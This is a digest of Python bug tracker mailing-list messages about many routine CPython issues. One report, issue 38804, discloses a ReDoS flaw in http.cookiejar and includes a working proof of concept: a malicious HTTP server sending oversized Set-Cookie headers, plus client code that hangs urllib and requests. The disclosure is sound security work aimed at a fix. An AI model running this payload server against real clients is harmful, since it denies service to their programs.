[issue38808] weird bug while using a for loop and array

[Zach kuunka]

Zach kuunka  added the comment:

I found out it just happens when you set an array to an array they behave as 
the same thing, which if its not a bug it sure is counter-intuitive. 

if you do
x = 1
then 
y = x
then add one to y you have y = 2 and x = 1
if you do it for an array
arr1 = [1]
then set something equal to that
arr2 = arr1
you essentially have 1 var that act on each other which is odd
so arr2.append(2) or arr1.append(2) make both arr1 and arr2 equal to the same 
thing

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38809] On Windows, build scripts should prefer using python.exe from an active virtual env

[Tal Einat]

Change by Tal Einat :


--
keywords: +patch
pull_requests: +16674
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17164

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38809] On Windows, build scripts should prefer using python.exe from an active virtual env

[Tal Einat]

New submission from Tal Einat :

On windows several .bat scripts call find_python.bat to find an appropriate 
python.exe. find_python.bat has no specific support for virtual envs, and 
usually ends up calling py.exe to find python.exe. Due to virtual envs not 
including a py.exe, this effectively ignores having an activated virtual env.

It is currently possible to build with the specific python that one wants by 
setting the PYTHON env var. However, this is a simplistic and non-standard 
solution compared to virtual envs.

IMO when there is an active virtual env, these scripts should certainly use 
python.exe from it!

--
assignee: docs@python
components: Documentation
messages: 356649
nosy: docs@python, taleinat
priority: normal
severity: normal
status: open
title: On Windows, build scripts should prefer using python.exe from an active 
virtual env
type: enhancement
versions: Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38809] On Windows, build scripts should prefer using python.exe from an active virtual env

[Tal Einat]

Change by Tal Einat :


--
components: +Build -Documentation

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38808] weird bug while using a for loop and array

[Zach kuunka]

New submission from Zach kuunka :

I haven't used this bug reporting thing before so sorry if I mess something up.

Anyway i'm not sure exactly what is causing the issue but the issue appears 
when you have a for loop looping through an array and you make a variable and 
set it to that array and append something to it. If you do the same thing with 
numbers it works as expected but if you do it with an array it for some reason 
doesn't get reset every iteration. Run this and you'll see what i'm talking 
about.

Arr = [1,2,3,4,5]
for num in Arr:
Arr2 = Arr
Arr2.append(1) #the 1 can be anything
print(Arr2)

Also i'm interested to know why this happens, Thank You

--
components: Library (Lib)
files: brokentest.py
messages: 356648
nosy: Zach kuunka
priority: normal
severity: normal
status: open
title: weird bug while using a for loop and array
type: behavior
versions: Python 3.6
Added file: https://bugs.python.org/file48716/brokentest.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue23544] IDLE hangs when selecting Stack View with debug active

[Zackery Spytz]

Change by Zackery Spytz :


--
nosy: +ZackerySpytz

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue23544] IDLE hangs when selecting Stack View with debug active

[Zackery Spytz]

Change by Zackery Spytz :


--
keywords: +patch
pull_requests: +16673
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/17163

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38351] Modernize email example from %-formatting to f-string

[Andrei Daraschenka]

Change by Andrei Daraschenka :


--
keywords: +patch
pull_requests: +16672
stage: needs patch -> patch review
pull_request: https://github.com/python/cpython/pull/17162

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38351] Modernize email example from %-formatting to f-string

[Fred Drake]

Fred Drake  added the comment:

Thanks, Julien!

Sounds good to me; no reason for a PR addressing this specific issue to be held 
up once one becomes available.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38775] Cloudpickle.py file is crashing due to data type incompatibility.

[Karthikeyan Singaravelan]

Karthikeyan Singaravelan  added the comment:

I guess this was fixed upstream with 
https://github.com/apache/spark/commit/811d563fbf60203377e8462e4fad271c1140b4fa 
. Please try the latest version as per the commit details. I am closing this as 
third party since it's not a CPython issue. In future reports please attach the 
text of the traceback since it's more accessible. Thanks.

--
resolution:  -> third party
stage:  -> resolved
status: open -> closed
type: crash -> behavior

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38804] Regular Expression Denial of Service in http.cookiejar

[Karthikeyan Singaravelan]

Change by Karthikeyan Singaravelan :


--
nosy: +xtreak

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38804] Regular Expression Denial of Service in http.cookiejar

[Karthikeyan Singaravelan]

Change by Karthikeyan Singaravelan :


--
nosy: +serhiy.storchaka, vstinner

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36130] Pdb(skip=[...]) + module without __name__ => TypeError

[Karthikeyan Singaravelan]

Karthikeyan Singaravelan  added the comment:

Thanks @blueyed, I guess the backport was not made by the bot though the label 
was applied for 3.7 branch.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36130] Pdb(skip=[...]) + module without __name__ => TypeError

[Benjamin Peterson]

Change by Benjamin Peterson :


--
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue36130] Pdb(skip=[...]) + module without __name__ => TypeError

[daniel hahler]

daniel hahler  added the comment:

This was fixed / can be closed (https://github.com/python/cpython/pull/12064).

--
nosy: +blueyed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38692] add a pidfd child process watcher

[Kyle Stanley]

Change by Kyle Stanley :


--
stage: patch review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38692] add a pidfd child process watcher

[miss-islington]

miss-islington  added the comment:


New changeset 3f8cebd32c1e6f20a1a1440e51c308a5f70ca959 by Miss Islington (bot) 
(Kyle Stanley) in branch 'master':
bpo-38692: Add asyncio.PidfdChildWatcher to __all__ (GH-17161)
https://github.com/python/cpython/commit/3f8cebd32c1e6f20a1a1440e51c308a5f70ca959


--
nosy: +miss-islington

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38692] add a pidfd child process watcher

[Kyle Stanley]

Change by Kyle Stanley :


--
pull_requests: +16671
stage: resolved -> patch review
pull_request: https://github.com/python/cpython/pull/17161

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38692] add a pidfd child process watcher

[Kyle Stanley]

Kyle Stanley  added the comment:

> PidfdChildWatcher should be enumerated in unix_events.py:__all__ to make the 
> class visible by asyncio import rules.

> Kyle, would you make a post-fix PR?

I actually just noticed that myself and was coming back to the bpo issue to 
mention that it was missing from __all__. I'll take of that, no problem.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue34572] C unpickling bypasses import thread safety

[Guenther Starnberger]

Guenther Starnberger  added the comment:

For this issue only 3.7 and 3.8 are listed as affected versions, but it appears 
to be also reproducible on the latest 3.5 and 3.6 releases. I've attached a 
script that can be used to reproduce the issue on those earlier releases (it 
consistently fails for me with values of 50 or higher as command line argument).

--
nosy: +gst
Added file: https://bugs.python.org/file48715/reproduce_34572.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38807] Better exception message in os.path.join

[Tomás Farías]

Change by Tomás Farías :


--
keywords: +patch
pull_requests: +16669
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17160

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38807] Better exception message in os.path.join

[Tomás Farías]

New submission from Tomás Farías :

Passing an object with an invalid type, like None, to os.path.join after the 
first argument results in the following exception: 

TypeError: join() argument must be str or bytes, not 'NoneType'

Exception message can be updated to show that os.PathLike objects can be used:

TypeError: join() argument must be str, bytes or os.PathLike object, not 
'NoneType'

This is also more consistent with the TypeError raised by os.fspath.

--
components: Library (Lib)
messages: 356640
nosy: tomasfarias
priority: normal
severity: normal
status: open
title: Better exception message in os.path.join
type: enhancement
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38591] Deprecate Process Child Watchers

[Kyle Stanley]

Kyle Stanley  added the comment:

> You have to account also for the thread stack size. I suggest to look at RSS 
> memory instead.

Ah, good point. I believe get_size() only accounts for the memory usage of the 
thread object, not the amount allocated in physical memory from the thread 
stack. Thanks for the clarification. 

> I measured the RSS memory per thread: it's around 13.2 kB/thread. Oh, that's 
> way lower than what I expected.

On Python 3.8 and Linux kernel 5.3.8, I received the following result:

# Starting mem
VmRSS:  8408 kB
# After initializing and starting 1k threads:
VmRSS: 21632 kB

~13224kB for 1k threads, which reflects the ~13.2kB/thread estimate. 

Also, as a sidenote, I think you could remove the "for thread in threads: 
thread.started_event.wait()" portion for our purposes. IIUC, waiting on the 
threading.Event objects wouldn't affect memory usage.

> To be clear: I mean that FastChildWatcher is safe only if all process's code 
> spaws subprocesses by FastChildWatcher.
> If ProcessPoolExecutor or direct subprocess calls are used the watcher is 
> unsafe.
> If some C extension spawns new processes on its own (e.g. in a separate 
> thread) -- the watcher is unsafe.

> I just think that this particular watcher is too dangerous.

So are we at least in agreement for starting with deprecating FastChildWatcher? 
If a server is incredibly tight on memory and it can't spare ~13.2kB/thread, 
SafeChildWatcher would be an alternative to ThreadedChildWatcher.

Personally, I still think this amount is negligible for most production 
servers, and that we can reasonably deprecate SafeChildWatcher as well. But I 
can start with FastChildWatcher.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38806] "pdb.Pdb(skip=…).set_trace()" should always stop on calling frame

[daniel hahler]

Change by daniel hahler :


--
keywords: +patch
pull_requests: +16668
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17159

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38806] "pdb.Pdb(skip=…).set_trace()" should always stop on calling frame

[daniel hahler]

New submission from daniel hahler :

The following will not stop for debugging:

python3.8 -c 'import pdb; pdb.Pdb(skip=["__main__"]).set_trace()'

The example is contrived, the real case would be to have some "noisy" module 
being excluded in general, but when you add an explicit "set_trace()" in there 
it should still stop there, and not on some upper frame.

This was changed a long time already in 
https://github.com/python/cpython/commit/313a7513b0c5771042d850d70782a2448d1cdcb7
 (Python 2.3), but it is not really clear.

I will create a PR reverting that part and see how it goes.

--
components: Library (Lib)
messages: 356638
nosy: blueyed
priority: normal
severity: normal
status: open
title: "pdb.Pdb(skip=…).set_trace()" should always stop on calling frame
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38622] _ctypes.dlsym (py_dl_sym) does not trigger audit hooks

[Steve Dower]

Change by Steve Dower :


--
pull_requests: +16667
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17158

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38804] Regular Expression Denial of Service in http.cookiejar

[Ben Caller]

Change by Ben Caller :


--
keywords: +patch
pull_requests: +1
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/17157

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38805] locale.getlocale() returns a non RFC1766 language code

[Mark Grandi]

New submission from Mark Grandi :

It seems that something with windows 10, python 3.8, or both changed where 
`locale.getlocale()` is now returning strange results

According to the documentation: 
https://docs.python.org/3/library/locale.html?highlight=locale%20getlocale#locale.getlocale
  , the language code should be in RFC1766 format:

Language-Tag = Primary-tag *( "-" Subtag )
Primary-tag = 1*8ALPHA
Subtag = 1*8ALPHA
Whitespace is not allowed within the tag.

but in python 3.8, I am getting a language code that doesn't meet RFC1766 specs:


PS C:\Users\auror> py -3
Python 3.8.0 (tags/v3.8.0:fa919fd, Oct 14 2019, 19:37:50) [MSC v.1916 64 bit 
(AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import platform; platform.platform()
'Windows-10-10.0.18362-SP0'
>>> import locale; locale.getlocale(); locale.getdefaultlocale()
('English_United States', '1252')
('en_US', 'cp1252')
>>>


on the same machine, with python 3.7.4:

PS C:\Python37> .\python.exe
Python 3.7.4 (tags/v3.7.4:e09359112e, Jul  8 2019, 20:34:20) [MSC v.1916 64 bit 
(AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import platform; platform.platform()
'Windows-10-10.0.18362-SP0'
>>> import locale; locale.getlocale(); locale.getdefaultlocale()
(None, None)
('en_US', 'cp1252')
>>>


also interesting that the encoding is different in py3.8 between 
`locale.getlocale()` and `locale.getdefaultlocale()`, being '1252' and 
'cp1252', this might not be related though as it was present in python 3.7.4

these issues might be related, but stuff found hwen searching for 'locale' bugs:

https://bugs.python.org/issue26024
https://bugs.python.org/issue37945

--
components: Library (Lib)
messages: 356637
nosy: markgrandi
priority: normal
severity: normal
status: open
title: locale.getlocale() returns a non RFC1766 language code
type: behavior
versions: Python 3.8

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38804] Regular Expression Denial of Service in http.cookiejar

[Ben Caller]

New submission from Ben Caller :

The regex http.cookiejar.LOOSE_HTTP_DATE_RE iss vulnerable to regular
expression denial of service (REDoS). LOOSE_HTTP_DATE_RE.match is called when 
using http.cookiejar.CookieJar to parse Set-Cookie headers returned by a 
server. Processing a response from a malicious HTTP server can lead to extreme 
CPU usage and execution will be blocked for a long time.

The regex http.cookiejar.LOOSE_HTTP_DATE_RE contains multiple overlapping \s* 
capture groups.
Ignoring the ?-optional capture groups the regex can be simplified to

\d+-\w+-\d+(\s*\s*\s*)$

Therefore, a long sequence of spaces can trigger bad performance.
LOOSE_HTTP_DATE_RE backtracks if last character doesn't match \s or 
(?![APap][Mm]\b)[A-Za-z]+

Matching a malicious string such as

LOOSE_HTTP_DATE_RE.match("1-1-1" + (" " * 2000) + "!")

will cause catastrophic backtracking.

Timing test:


import http.cookiejar
import timeit

def run(n_spaces):
assert n_spaces <= 65506, "Set-Cookie header line must be <= 65536"
spaces = " " * n_spaces
expires = f"1-1-1{spaces}!"
http2time = http.cookiejar.http2time
t = timeit.Timer(
'http2time(expires)',
globals=locals(),
)
print(n_spaces, "{:.3g}".format(t.autorange()[1]))

i = 512
while True:
run(i)
i <<= 1


Timeit output (seconds) on my computer when doubling the number of spaces:


512 0.383
10243.02
2048   23.4
4096  184
8192 1700

As expected it's approx O(n^3). The maximum n_spaces to fit in a Set-Cookie 
header is 65506 which will take days.

You can create a malicious server which responds with Set-Cookie headers to 
attack all python programs which access it e.g.


from http.server import BaseHTTPRequestHandler, HTTPServer

def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-1-1{spaces}!"
return f"x;Expires={expiry}"

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204)  # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:])  # Can GET e.g. /100 to test shorter 
sequences
if len(self.path) > 1 else
65506  # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99):  # Not necessary, but we can have up to 100 
header lines
self.send_header("Set-Cookie", value)
self.end_headers()

if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()


This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.

Vulnerable client using the example at the bottom of 
https://docs.python.org/3/library/http.cookiejar.html :


import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/";)


The popular requests library is also vulnerable without any additional options 
(as it uses http.cookiejar by default):


import requests
requests.get("http://localhost:44020/";)


As such, python applications need to be careful not to visit malicious servers.

I have a patch. Will make a PR soon.
This was originally submitted to the security list, but posted here 'since this 
is "merely" a DoS attack and not a privilege escalation'.

- Ben

--
components: Library (Lib)
messages: 356636
nosy: bc
priority: normal
severity: normal
status: open
title: Regular Expression Denial of Service in http.cookiejar
type: security
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38670] can we accept os.PathLike objects within the subprocess args= list?

[Eric V. Smith]

Change by Eric V. Smith :


--
nosy: +eric.smith

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38803] test_wait3 and test_wait4 leaked references on x86 Gentoo Refleaks 3.x

[STINNER Victor]

STINNER Victor  added the comment:

Similar failure on other buildbot workers.

AMD64 RHEL7 Refleaks 3.x:
https://buildbot.python.org/all/#/builders/264/builds/49

AMD64 Fedora Stable Refleaks 3.x:
https://buildbot.python.org/all/#/builders/317/builds/42

AMD64 Fedora Rawhide Refleaks 3.x:
https://buildbot.python.org/all/#/builders/189/builds/197

AMD64 RHEL8 Refleaks 3.x:
https://buildbot.python.org/all/#/builders/272/builds/50

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue35381] posixmodule: convert statically allocated types (DirEntryType & ScandirIteratorType) to heap-allocated types

[STINNER Victor]

STINNER Victor  added the comment:

This change introduced a reference leak: bpo-38803 "test_wait3 and test_wait4 
leaked references on x86 Gentoo Refleaks 3.x".

--
nosy: +vstinner

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38803] test_wait3 and test_wait4 leaked references on x86 Gentoo Refleaks 3.x

[STINNER Victor]

New submission from STINNER Victor :

x86 Gentoo Refleaks 3.x, first failure:
https://buildbot.python.org/all/#/builders/1/builds/769

test_wait3 leaked [23, 23, 23] references, sum=69
test_wait4 leaked [22, 21, 22] references, sum=65


The leak was introduced by:

commit b3966639d28313809774ca3859a347b9007be8d2
Author: Eddie Elizondo 
Date:   Tue Nov 5 07:16:14 2019 -0800

bpo-35381 Remove all static state from posixmodule (GH-15892)



After #9665, this moves the remaining types in posixmodule to be 
heap-allocated to make it compatible with PEP384 as well as modifying all the 
type accessors to fully make the type opaque.

The original PR that got messed up a rebase: 
https://github.com/python/cpython/pull/10854. All the issues in that commit 
have now been addressed since https://github.com/python/cpython/pull/11661 got 
committed.

This change also removes any state from the data segment and onto the 
module state itself.


https://bugs.python.org/issue35381



Automerge-Triggered-By: @encukou

--
components: Tests
messages: 356633
nosy: vstinner
priority: normal
severity: normal
status: open
title: test_wait3 and test_wait4 leaked references on x86 Gentoo Refleaks 3.x
versions: Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38447] test_multiprocessing_spawn: Dangling processes: {} on AMD64 RHEL7 Refleaks 3.7

[STINNER Victor]

STINNER Victor  added the comment:

x86 Windows7 3.x:
https://buildbot.python.org/all/#/builders/58/builds/3223

...
test_dict_proxy_nested 
(test.test_multiprocessing_spawn.WithManagerTestContainers) ... ok
test_list (test.test_multiprocessing_spawn.WithManagerTestContainers) ... ok
test_list_iter (test.test_multiprocessing_spawn.WithManagerTestContainers) ... 
ok
test_list_proxy_in_list 
(test.test_multiprocessing_spawn.WithManagerTestContainers) ... ok
test_namespace (test.test_multiprocessing_spawn.WithManagerTestContainers) ... 
ok
test_event (test.test_multiprocessing_spawn.WithManagerTestEvent) ... ok
test_lock (test.test_multiprocessing_spawn.WithManagerTestLock) ... ok
test_lock_context (test.test_multiprocessing_spawn.WithManagerTestLock) ... ok
test_rlock (test.test_multiprocessing_spawn.WithManagerTestLock) ... ok
test_rapid_restart 
(test.test_multiprocessing_spawn.WithManagerTestManagerRestart) ... ok
Warning -- multiprocessing.Manager still has [] active children after 
5.25699983236 seconds

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue37224] test__xxsubinterpreters fails randomly

[STINNER Victor]

STINNER Victor  added the comment:

AMD64 Windows8.1 Refleaks 3.8:
https://buildbot.python.org/all/#/builders/224/builds/151

0:54:23 load avg: 5.62 [306/423/3] test__xxsubinterpreters failed -- running: 
test_asyncio (4 min 26 sec), test_zipfile (6 min 6 sec), test_compileall (6 min 
21 sec)
beginning 6 repetitions
123456
..Exception in thread Thread-27:
Traceback (most recent call last):
  File "D:\buildarea\3.8.ware-win81-release.refleak\build\lib\threading.py", 
line 932, in _bootstrap_inner
    self.run()
  File "D:\buildarea\3.8.ware-win81-release.refleak\build\lib\threading.py", 
line 870, in run
    self._target(*self._args, **self._kwargs)
  File 
"D:\buildarea\3.8.ware-win81-release.refleak\build\lib\test\test__xxsubinterpreters.py",
 line 51, in run
    interpreters.run_string(interp, dedent(f"""
RuntimeError: unrecognized interpreter ID 175
test test__xxsubinterpreters failed -- Traceback (most recent call last):
  File 
"D:\buildarea\3.8.ware-win81-release.refleak\build\lib\test\test__xxsubinterpreters.py",
 line 763, in test_still_running
    interpreters.destroy(interp)
AssertionError: RuntimeError not raised

FAIL: test_subinterpreter (test.test__xxsubinterpreters.IsRunningTests)

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38447] test_multiprocessing_spawn: Dangling processes: {} on AMD64 RHEL7 Refleaks 3.7

[STINNER Victor]

STINNER Victor  added the comment:

AMD64 RHEL7 LTO + PGO 3.x:
https://buildbot.python.org/all/#/builders/258/builds/227

...
test_bounded_semaphore 
(test.test_multiprocessing_spawn.WithProcessesTestSemaphore) ... ok
test_semaphore (test.test_multiprocessing_spawn.WithProcessesTestSemaphore) ... 
ok
test_timeout (test.test_multiprocessing_spawn.WithProcessesTestSemaphore) ... ok
test_copy (test.test_multiprocessing_spawn.WithProcessesTestSharedCTypes) ... ok
test_sharedctypes 
(test.test_multiprocessing_spawn.WithProcessesTestSharedCTypes) ... ok
test_synchronize 
(test.test_multiprocessing_spawn.WithProcessesTestSharedCTypes) ... ok
test_shared_memory_ShareableList_basics 
(test.test_multiprocessing_spawn.WithProcessesTestSharedMemory) ... ok
test_shared_memory_ShareableList_pickling 
(test.test_multiprocessing_spawn.WithProcessesTestSharedMemory) ... ok
test_shared_memory_SharedMemoryManager_basics 
(test.test_multiprocessing_spawn.WithProcessesTestSharedMemory) ... ok
test_shared_memory_SharedMemoryManager_reuses_resource_tracker 
(test.test_multiprocessing_spawn.WithProcessesTestSharedMemory) ... ok
test_shared_memory_SharedMemoryServer_ignores_sigint 
(test.test_multiprocessing_spawn.WithProcessesTestSharedMemory) ... ok
test_shared_memory_across_processes 
(test.test_multiprocessing_spawn.WithProcessesTestSharedMemory) ... ok
test_shared_memory_basics 
(test.test_multiprocessing_spawn.WithProcessesTestSharedMemory) ... ok
test_shared_memory_cleaned_after_process_termination 
(test.test_multiprocessing_spawn.WithProcessesTestSharedMemory) ... ok
Warning -- Dangling processes: {}

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38351] Modernize email example from %-formatting to f-string

[Julien Palard]

Julien Palard  added the comment:

So, for newcomers finding this via "easy issues", go for it, you can fix this 
one :)

On the different subjects discussed:

# Mass-edit the stdlib

We all agree that we should not mass-edit stdlib, (yet upgrading %-formatting 
to a newer syntax when modifying the same line may sometimes be a good idea).


# Mass-edit the doc

Having an f-string only doc is not possible, as Raymond mentionned (i18n, 
logging, templating), and not desirable: we need to document all existing 
formatting syntax. But the question is less "should we move everything to 
f-strings" than "should we move most examples out of %-formatting".


# Let's not encourage %-formatting

As we introduced str.format to fix issues from %-formatting [1] and allow 
extending formatting [2], we should not encourage newcomers to %-format strings.

Good news: in the tutorial there's a *single* occurence of %-formatting in a 
paragraph named "Old string formatting"!

There's probably a bunch of other places where upgrading the syntax in the doc 
would be a good idea, let's do it as we see them, when we feel it should 
obviously be upgraded, it also make nice easy issues, exactly as Mariatta did 
with this one (thanks Mariatta!).


[1]: %-formatting a single value that may or may not be a tuple.
[2]: allowing to format everything thrue __format__, not just the hardcoded 
list of type recognized by %-formatting.

--
nosy: +mdk

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38802] Clearer wording of os.WNOHANG documentation to avoid misinterpretation

[Michael Yagliyan]

Michael Yagliyan  added the comment:

If this documentation fix will not be backported (i.e. it will only apply to 
versions *after* the aforementioned bug fix) then a more precise way to phrase 
that last part would be:

"...with the first 2 elements being 0 and the last being an all-zero resource 
usage information object."

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38622] _ctypes.dlsym (py_dl_sym) does not trigger audit hooks

[Steve Dower]

Change by Steve Dower :


--
assignee:  -> steve.dower

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38802] Clearer wording of os.WNOHANG documentation to avoid misinterpretation

[Michael Yagliyan]

New submission from Michael Yagliyan :

For versions 2.7 through 3.9 of https://docs.python.org/3/library/os.html, 
os.WNOHANG is described as returning (0, 0) when no child process status is 
immediately available.

However, both os.wait3() and os.wait4() return 3-element tuples and are 
described as being similar to os.waitpid().  This, combined with the os.WNOHANG 
documentation being somewhat open to interpretation, makes it very easy to 
conclude (incorrectly) that wait3(WNOHANG) and wait4(WNOHANG) would return (0, 
0) when no child process status is immediately available.  In fact, they would 
return a 3-element tuple with the first 2 elements being 0.

I suggest rephrasing the os.WNOHANG documentation to the following (or 
something similar):

"The option for waitpid() to return immediately if no child process status is 
available immediately, in which case the function returns (0, 0).  
Correspondingly, wait3() and wait4() would return 3-element tuples with the 
first 2 elements being 0 and the last being a default-constructed resource 
usage information object."

Unfortunately that last part about the default-constructed resource usage 
information object is only true after this recent bug fix:
https://github.com/python/cpython/pull/15111/files

So I'll leave it to y'all to decide how to update the documentation since my 
proposed phrasing is dependent on that bug fix.

--
assignee: docs@python
components: Documentation
messages: 356627
nosy: bbmmy, docs@python
priority: normal
severity: normal
status: open
title: Clearer wording of os.WNOHANG documentation to avoid misinterpretation
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38728] Update PC/pyconfig.h to support disabling auto linking

[Ben Boeckel]

Change by Ben Boeckel :


--
nosy: +mathstuf

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38794] Setup: support linking openssl statically

[Lukas Vacek]

Change by Lukas Vacek :


--
title: Setup: support linking openssl staticly -> Setup: support linking 
openssl statically

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38800] Resume position for UTF-8 codec error handler not working

[Pedro Gimeno]

Pedro Gimeno  added the comment:

Python 3.5 from Debian stretch (oldstable). You're right, I can't reproduce it 
in 3.7 from Buster. Sorry for the bogus report.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com

[issue38801] Scientific notation doesn't work with itertools.islice

[Ammar Askar]

Ammar Askar  added the comment:

The behavior is documented here: 
https://docs.python.org/3.9/library/stdtypes.html#numeric-types-int-float-complex

> Numeric literals containing a decimal point or an exponent sign yield 
> floating point numbers.

--
